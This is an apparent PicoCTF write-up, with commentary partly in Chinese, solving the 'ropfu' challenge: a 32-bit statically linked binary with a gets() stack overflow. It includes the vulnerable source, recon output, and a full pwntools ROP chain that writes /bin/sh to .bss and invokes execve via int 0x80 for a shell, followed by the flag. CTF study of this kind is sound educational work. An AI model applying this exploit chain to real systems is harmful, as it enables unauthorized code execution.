PicoCTF - ropfu

PicoCTF - ropfu

Background

ROP Chain x86 Calling Convention: Linux System Call Table

Source code

:::spoiler Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

:::

Recon

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=232215a502491a549a155b1a790de97f0c433482, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/ropfu/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

這一題很明顯要開個shell,我以為會像1[^0x12_rop++]這兩題一樣,事實上概念完全一樣,但換到x86的32bits版本就不知道為啥一直沒有成功,後來有想到是忽略了calling convention的問題,和x86-64的版本不一樣,另外指令的選擇上也不太一樣,像64bits的system call會用syscall,但x86會用int 0x80處理2,另外寫入/bin/sh\x00的方式也和之前的不一樣,之前是call __libc_read function之前把暫存器的部分擺好,就直接跳到__libc_read的地方去,但在這邊是沒辦法成功的,看了其他人的wp3,大部分的做法都是直接用rop把值寫到對應的section中,詳細如下:

pop edx -> bss address
pop eax -> 0x6e69622f -> /bin
mov DWORD PTR [edx] eax
pop edx -> bss address
pop eax -> 0x0068732f -> /sh\x00
mov DWORD PTR [edx] eax

寫完/bin/sh\x00就直接call execve的syscall開shell

Exploit - ROP Chain

from pwn import *

# r = process('./vuln')
r= remote('saturn.picoctf.net', 54107)
context.arch = 'amd64'

r.recvline()

pop_eax_ret = 0x80b073a
pop_edx_ebx_ret = 0x80583b9
bss_addr = 0x080e5050
mov_dword_ptr_edx_eax_ret = 0x80590f2
pop_ecx_ret = 0x8049e29
int_0x80 = 0x0807163f

'''############
Read /bin/sh\x00
############'''
# raw_input()
r.sendline(b'a' * 0x1c + 
           p32(pop_edx_ebx_ret) + p32(bss_addr) + p32(0) + 
           p32(pop_eax_ret) + p32(0x6e69622f) +
           p32(mov_dword_ptr_edx_eax_ret) + 
           p32(pop_edx_ebx_ret) + p32(bss_addr + 4) + p32(0) + 
           p32(pop_eax_ret) + p32(0x0068732f) +
           p32(mov_dword_ptr_edx_eax_ret) + 

           p32(pop_eax_ret) + p32(0xb) + 
           p32(pop_edx_ebx_ret) + p32(0) + p32(bss_addr) + 
           p32(pop_ecx_ret) + p32(0) + 
           p32(int_0x80)
)

r.interactive()

Flag: picoCTF{5n47ch_7h3_5h311_1b5a4b40}

Reference